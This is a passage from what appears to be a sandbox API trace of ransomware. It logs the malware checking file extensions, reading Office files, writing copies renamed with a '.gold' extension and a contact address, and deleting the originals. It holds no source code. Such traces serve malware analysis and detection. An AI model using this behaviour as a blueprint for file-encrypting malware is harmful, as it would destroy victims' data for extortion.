Files\\Microsoft Office\\Office14\\1033\\VISWEB.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visweb.vsl")) returned 1 [0108.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISWEB.VSL") returned 58 [0108.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISWEB.VSL") returned 58 [0108.968] lstrlenW (lpString=".doc") returned 4 [0108.968] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1 [0108.968] lstrlenW (lpString=".docx") returned 5 [0108.968] lstrcmpiW (lpString1=".docx", lpString2="B.VSL") returned -1 [0108.968] lstrlenW (lpString=".pdf") returned 4 [0108.968] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1 [0108.968] lstrlenW (lpString=".xls") returned 4 [0108.968] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1 [0108.968] lstrlenW (lpString=".xlsx") returned 5 [0108.968] lstrcmpiW (lpString1=".xlsx", lpString2="B.VSL") returned -1 [0108.968] lstrlenW (lpString=".ppt") returned 4 [0108.968] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1 [0108.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISWEB.VSL") returned 58 [0108.968] lstrlenW (lpString=".zip") returned 4 [0108.968] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1 [0108.968] lstrlenW (lpString=".rar") returned 4 [0108.968] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1 [0108.968] lstrlenW (lpString=".bz2") returned 4 [0108.968] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1 [0108.968] lstrlenW (lpString=".7z") returned 3 [0108.968] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1 [0108.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISWEB.VSL") returned 58 [0108.968] lstrlenW (lpString=".dbf") returned 4 [0108.968] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1 [0108.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISWEB.VSL") returned 58 [0108.968] lstrlenW (lpString=".1cd") returned 4 [0108.968] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1 [0108.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISWEB.VSL") returned 58 [0108.968] lstrlenW (lpString=".jpg") returned 4 [0108.968] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1 [0108.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISWEB.VSL") returned 58 [0108.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISWEB.VSL") returned 58 [0108.968] lstrlenW (lpString=".doc") returned 4 [0108.968] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1 [0108.968] lstrlenW (lpString=".docx") returned 5 [0108.968] lstrcmpiW (lpString1=".docx", lpString2="B.VSL") returned -1 [0108.968] lstrlenW (lpString=".pdf") returned 4 [0108.968] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1 [0108.968] lstrlenW (lpString=".xls") returned 4 [0108.968] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1 [0108.968] lstrlenW (lpString=".xlsx") returned 5 [0108.968] lstrcmpiW (lpString1=".xlsx", lpString2="B.VSL") returned -1 [0108.968] lstrlenW (lpString=".ppt") returned 4 [0108.968] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1 [0108.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISWEB.VSL") returned 58 [0108.968] lstrlenW (lpString=".zip") returned 4 [0108.968] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1 [0108.968] lstrlenW (lpString=".rar") returned 4 [0108.968] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1 [0108.968] lstrlenW (lpString=".bz2") returned 4 [0108.969] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1 [0108.969] lstrlenW (lpString=".7z") returned 3 [0108.969] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1 [0108.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISWEB.VSL") returned 58 [0108.969] lstrlenW (lpString=".dbf") returned 4 [0108.969] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1 [0108.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISWEB.VSL") returned 58 [0108.969] lstrlenW (lpString=".1cd") returned 4 [0108.969] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1 [0108.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISWEB.VSL") returned 58 [0108.969] lstrlenW (lpString=".jpg") returned 4 [0108.969] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1 [0108.969] lstrcmpiW (lpString1=".DLL", lpString2=".gold") returned -1 [0108.969] lstrlenW (lpString="WWINTL.DLL") returned 10 [0108.969] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\wwintl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0108.969] GetFileSizeEx (in: hFile=0x3c4, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=901464) returned 1 [0108.969] CloseHandle (hObject=0x3c4) returned 1 [0108.969] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\wwintl.dll")) returned 0x20 [0108.970] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\wwintl.dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0108.970] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\wwintl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0108.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL") returned 58 [0108.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL") returned 58 [0108.970] lstrlenW (lpString=".doc") returned 4 [0108.970] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0108.970] lstrlenW (lpString=".docx") returned 5 [0108.970] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0108.970] lstrlenW (lpString=".pdf") returned 4 [0108.970] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0108.970] lstrlenW (lpString=".xls") returned 4 [0108.970] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0108.970] lstrlenW (lpString=".xlsx") returned 5 [0108.970] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0108.970] lstrlenW (lpString=".ppt") returned 4 [0108.970] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0108.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL") returned 58 [0108.970] lstrlenW (lpString=".zip") returned 4 [0108.970] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0108.970] lstrlenW (lpString=".rar") returned 4 [0108.970] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0108.970] lstrlenW (lpString=".bz2") returned 4 [0108.970] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0108.970] lstrlenW (lpString=".7z") returned 3 [0108.970] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0108.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL") returned 58 [0108.970] lstrlenW (lpString=".dbf") returned 4 [0108.970] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0108.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL") returned 58 [0108.970] lstrlenW (lpString=".1cd") returned 4 [0108.970] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0108.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL") returned 58 [0108.970] lstrlenW (lpString=".jpg") returned 4 [0108.970] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0108.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL") returned 58 [0108.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL") returned 58 [0108.970] lstrlenW (lpString=".doc") returned 4 [0108.970] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0108.970] lstrlenW (lpString=".docx") returned 5 [0108.970] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0108.971] lstrlenW (lpString=".pdf") returned 4 [0108.971] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0108.971] lstrlenW (lpString=".xls") returned 4 [0108.971] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0108.971] lstrlenW (lpString=".xlsx") returned 5 [0108.971] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0108.971] lstrlenW (lpString=".ppt") returned 4 [0108.971] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0108.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL") returned 58 [0108.971] lstrlenW (lpString=".zip") returned 4 [0108.971] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0108.971] lstrlenW (lpString=".rar") returned 4 [0108.971] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0108.971] lstrlenW (lpString=".bz2") returned 4 [0108.971] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0108.971] lstrlenW (lpString=".7z") returned 3 [0108.971] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0108.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL") returned 58 [0108.971] lstrlenW (lpString=".dbf") returned 4 [0108.971] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0108.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL") returned 58 [0108.971] lstrlenW (lpString=".1cd") returned 4 [0108.971] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0108.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL") returned 58 [0108.971] lstrlenW (lpString=".jpg") returned 4 [0108.971] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0108.971] lstrcmpiW (lpString1=".IDX_DLL", lpString2=".gold") returned 1 [0108.971] lstrlenW (lpString="WWINTL.DLL.IDX_DLL") returned 18 [0108.971] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\wwintl.dll.idx_dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0108.972] GetFileSizeEx (in: hFile=0x3c4, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=108416) returned 1 [0108.972] CloseHandle (hObject=0x3c4) returned 1 [0108.972] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\wwintl.dll.idx_dll")) returned 0x20 [0108.972] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL.IDX_DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\wwintl.dll.idx_dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0108.972] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\wwintl.dll.idx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0108.972] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0108.972] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0108.972] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL.IDX_DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\wwintl.dll.idx_dll.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0108.973] GetLastError () returned 0x0 [0108.973] ReadFile (in: hFile=0x3c4, lpBuffer=0x38b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesRead=0x2c5fed4*=0x1a780, lpOverlapped=0x0) returned 1 [0108.976] WriteFile (in: hFile=0x3b0, lpBuffer=0x38b0020*, nNumberOfBytesToWrite=0x1a790, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesWritten=0x2c5fc9c*=0x1a790, lpOverlapped=0x0) returned 1 [0108.978] ReadFile (in: hFile=0x3c4, lpBuffer=0x38b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0108.978] WriteFile (in: hFile=0x3b0, lpBuffer=0x38b0020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xf8, lpOverlapped=0x0) returned 1 [0108.978] SetEndOfFile (hFile=0x3b0) returned 1 [0108.978] CloseHandle (hObject=0x3b0) returned 1 [0108.978] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0108.978] SetEndOfFile (hFile=0x3c4) returned 1 [0108.981] CloseHandle (hObject=0x3c4) returned 1 [0108.981] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL.IDX_DLL.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0108.981] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\wwintl.dll.idx_dll")) returned 1 [0108.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL.IDX_DLL") returned 66 [0108.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL.IDX_DLL") returned 66 [0108.982] lstrlenW (lpString=".doc") returned 4 [0108.982] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1 [0108.982] lstrlenW (lpString=".docx") returned 5 [0108.982] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1 [0108.982] lstrlenW (lpString=".pdf") returned 4 [0108.982] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1 [0108.982] lstrlenW (lpString=".xls") returned 4 [0108.982] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1 [0108.982] lstrlenW (lpString=".xlsx") returned 5 [0108.982] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1 [0108.982] lstrlenW (lpString=".ppt") returned 4 [0108.982] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1 [0108.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL.IDX_DLL") returned 66 [0108.982] lstrlenW (lpString=".zip") returned 4 [0108.982] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1 [0108.982] lstrlenW (lpString=".rar") returned 4 [0108.982] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1 [0108.982] lstrlenW (lpString=".bz2") returned 4 [0108.982] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1 [0108.982] lstrlenW (lpString=".7z") returned 3 [0108.982] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0108.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL.IDX_DLL") returned 66 [0108.982] lstrlenW (lpString=".dbf") returned 4 [0108.982] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1 [0108.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL.IDX_DLL") returned 66 [0108.982] lstrlenW (lpString=".1cd") returned 4 [0108.982] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1 [0108.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL.IDX_DLL") returned 66 [0108.982] lstrlenW (lpString=".jpg") returned 4 [0108.982] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1 [0108.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL.IDX_DLL") returned 66 [0108.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL.IDX_DLL") returned 66 [0108.982] lstrlenW (lpString=".doc") returned 4 [0108.982] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1 [0108.982] lstrlenW (lpString=".docx") returned 5 [0108.982] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1 [0108.982] lstrlenW (lpString=".pdf") returned 4 [0108.982] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1 [0108.982] lstrlenW (lpString=".xls") returned 4 [0108.982] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1 [0108.982] lstrlenW (lpString=".xlsx") returned 5 [0108.982] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1 [0108.982] lstrlenW (lpString=".ppt") returned 4 [0108.982] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1 [0108.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL.IDX_DLL") returned 66 [0108.983] lstrlenW (lpString=".zip") returned 4 [0108.983] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1 [0108.983] lstrlenW (lpString=".rar") returned 4 [0108.983] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1 [0108.983] lstrlenW (lpString=".bz2") returned 4 [0108.983] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1 [0108.983] lstrlenW (lpString=".7z") returned 3 [0108.983] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0108.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL.IDX_DLL") returned 66 [0108.983] lstrlenW (lpString=".dbf") returned 4 [0108.983] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1 [0108.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL.IDX_DLL") returned 66 [0108.983] lstrlenW (lpString=".1cd") returned 4 [0108.983] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1 [0108.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL.IDX_DLL") returned 66 [0108.983] lstrlenW (lpString=".jpg") returned 4 [0108.983] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1 [0108.983] lstrcmpiW (lpString1=".IDX_DLL", lpString2=".gold") returned 1 [0108.983] lstrlenW (lpString="WWINTL.REST.IDX_DLL") returned 19 [0108.983] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.REST.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\wwintl.rest.idx_dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0108.984] GetFileSizeEx (in: hFile=0x3c4, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=614784) returned 1 [0108.984] CloseHandle (hObject=0x3c4) returned 1 [0108.984] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.REST.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\wwintl.rest.idx_dll")) returned 0x20 [0108.984] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.REST.IDX_DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\wwintl.rest.idx_dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0108.984] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.REST.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\wwintl.rest.idx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0108.985] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0108.985] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0108.985] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.REST.IDX_DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\wwintl.rest.idx_dll.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0108.985] GetLastError () returned 0x0 [0108.985] ReadFile (in: hFile=0x3c4, lpBuffer=0x38b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesRead=0x2c5fed4*=0x96180, lpOverlapped=0x0) returned 1 [0108.998] WriteFile (in: hFile=0x3b0, lpBuffer=0x38b0020*, nNumberOfBytesToWrite=0x96190, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesWritten=0x2c5fc9c*=0x96190, lpOverlapped=0x0) returned 1 [0109.334] ReadFile (in: hFile=0x3c4, lpBuffer=0x38b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0109.334] WriteFile (in: hFile=0x3b0, lpBuffer=0x38b0020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38b0020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xfa, lpOverlapped=0x0) returned 1 [0109.334] SetEndOfFile (hFile=0x3b0) returned 1 [0109.334] CloseHandle (hObject=0x3b0) returned 1 [0109.334] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0109.334] SetEndOfFile (hFile=0x3c4) returned 1 [0109.344] CloseHandle (hObject=0x3c4) returned 1 [0109.344] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.REST.IDX_DLL.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0109.373] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.REST.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\wwintl.rest.idx_dll")) returned 1 [0109.413] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.REST.IDX_DLL") returned 67 [0109.413] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.REST.IDX_DLL") returned 67 [0109.413] lstrlenW (lpString=".doc") returned 4 [0109.413] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1 [0109.413] lstrlenW (lpString=".docx") returned 5 [0109.413] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1 [0109.413] lstrlenW (lpString=".pdf") returned 4 [0109.413] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1 [0109.413] lstrlenW (lpString=".xls") returned 4 [0109.413] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1 [0109.413] lstrlenW (lpString=".xlsx") returned 5 [0109.413] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1 [0109.413] lstrlenW (lpString=".ppt") returned 4 [0109.413] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1 [0109.413] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.REST.IDX_DLL") returned 67 [0109.413] lstrlenW (lpString=".zip") returned 4 [0109.413] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1 [0109.413] lstrlenW (lpString=".rar") returned 4 [0109.413] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1 [0109.413] lstrlenW (lpString=".bz2") returned 4 [0109.413] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1 [0109.413] lstrlenW (lpString=".7z") returned 3 [0109.413] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0109.413] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.REST.IDX_DLL") returned 67 [0109.413] lstrlenW (lpString=".dbf") returned 4 [0109.413] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1 [0109.413] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.REST.IDX_DLL") returned 67 [0109.413] lstrlenW (lpString=".1cd") returned 4 [0109.413] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1 [0109.413] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.REST.IDX_DLL") returned 67 [0109.413] lstrlenW (lpString=".jpg") returned 4 [0109.413] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1 [0109.413] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.REST.IDX_DLL") returned 67 [0109.413] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.REST.IDX_DLL") returned 67 [0109.413] lstrlenW (lpString=".doc") returned 4 [0109.413] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1 [0109.413] lstrlenW (lpString=".docx") returned 5 [0109.413] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1 [0109.413] lstrlenW (lpString=".pdf") returned 4 [0109.413] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1 [0109.413] lstrlenW (lpString=".xls") returned 4 [0109.413] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1 [0109.413] lstrlenW (lpString=".xlsx") returned 5 [0109.413] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1 [0109.413] lstrlenW (lpString=".ppt") returned 4 [0109.413] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1 [0109.413] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.REST.IDX_DLL") returned 67 [0109.414] lstrlenW (lpString=".zip") returned 4 [0109.414] 